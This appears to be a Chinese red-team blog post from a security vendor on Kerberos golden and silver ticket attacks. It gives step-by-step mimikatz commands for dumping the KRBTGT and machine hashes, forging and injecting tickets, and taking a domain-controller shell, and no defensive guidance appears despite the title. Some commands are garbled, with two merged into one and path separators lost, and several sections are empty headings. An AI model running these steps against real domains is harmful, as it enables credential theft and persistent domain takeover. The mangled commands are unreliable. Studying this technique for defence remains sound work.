九维团队-红队（突破）| 黄金白银票据攻击与防御

票据传递攻击有两种类型，分别为黄金票据和白银票据。白银票据通常用于攻击域控，黄金票据则用于拿下域控后权限维持，且黄金票据是伪造发票人，而白银票据则是伪造门票。mimikatz工具通过lsass.exe进程获取Hash信息。

KDC是密钥分发中心由AS和TGS组成，其中AS为身份验证，TGS为权限验证。

金票：仿造TGT票据可以获取任意Kerberos的访问权限，由KRBTGT NTLM Hash加密，同KDC交互但不同AS交互。

银票：仿造TGS票据只能访问指定的服务如CIFS，由服务账号NTLM Hash加密，不同KDC交互直接访问Server。

黄金票据就是伪造KRBTGT用户的TGT票据，KRBTGT用户是域控中用来管理发放票据的用户，拥有了该用户的权限，就可以伪造系统中的任意用户。

1.拿到域控管理员用户(即拿到域控)，适合做权限维持。

2.有KRBTGT用户的Hash值(AES Hash、NTLM Hash等均可，后面指定一下算法就行了)。

3.获取要求：域名称、域的sid值、域的KRBTGT账户的NTLM密码哈希，伪造域用户名

获取域名称和域sid值，用户的sid值去掉最后一个杠的数字就是域sid值：

net time /domainwhoami /all

在域管理员账户上执行获取域KRBTGT账户的NTLM哈希：

mimikatz.exe "lsadump::dcsync /domain:zack.com /user:krbtgt" "exit" > krbtgt.txt

*左右滑动查看更多

生成黄金票据文件，这个票据文件可以长期保存用于权限维持使用：

mimikatz.exe "kerberos::golden /admin:administrator /domain:xxxx.com /sid:S-1-5-21-4117774258-2416962305-3510056485 /krbtgt:d90cad43777777779acb6abd973ca756 /ticket:xxxx.kirbi" exit

*左右滑动查看更多

参数说明：

登录域内普通用户，先清空凭据在将黄金票据导入内存中：

kerberos::purgekerberos::ptt C:xxxx.kirbi

测试域控权限，看到dir命令可以直接访问域控C盘文件，说明普通域用户已经提权为域管理员权限：

使用PsExec64.exe工具获取域控shell：

黄金票据是伪造TGT（门票发放票），而白银票据则是伪造TGS（门票），这样的好处是门票不会经过KDC，从而更加隐蔽，但是伪造的门票只对部分服务起作用如 cifs（文件共享服务）、mssql、winrm（windows远程管理）、DNS等。

拿到域内目标机器Hash(是域成员主机，也可以是域控)。

获取要求：

域名称、域sid、可利用的服务、目标主机的NTLM HASH。

可选服务列表：

获取域名称和域sid值，用户的sid值去掉最后一个杠的数字就是域sid值：

net time /domainwhoami /all

在域成员本地管理用户或者域控管理账户获取域成员目标机的NTLM Hash值：

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > hash.txt

*左右滑动查看更多

这里使用域控管理员账户获取Hash，Username值带$符号的就是域成员主机的Hash值。

生成白银票据文件，这个票据文件可以长期保存用于权限维持使用：

mimikatz.exe "kerberos::golden /domain:zack.com /sid:S-1-5-21-4117774258-2416962305-3510056485 /target:DC.xxxx.com /service:cifs /rc4:0cfe990984764d8412e7d3f776ffb9ae /user:test /ticket:silver.kirbi" "exit"

*左右滑动查看更多

参数说明：

登录域内普通用户，先清空凭据在将白银票据导入内存中：

kerberos::purgekerberos::ptt C:silver.kirbi

测试域控权限，看到dir命令可以直接访问域控C盘文件，说明普通域用户已经提权为域管理员权限：

—  往期回顾  —

关于安恒信息安全服务团队

安恒信息安全服务团队由九维安全能力专家构成，其职责分别为：红队持续突破、橙队擅于赋能、黄队致力建设、绿队跟踪改进、青队快速处置、蓝队实时防御，紫队不断优化、暗队专注情报和研究、白队运营管理，以体系化的安全人才及技术为客户赋能。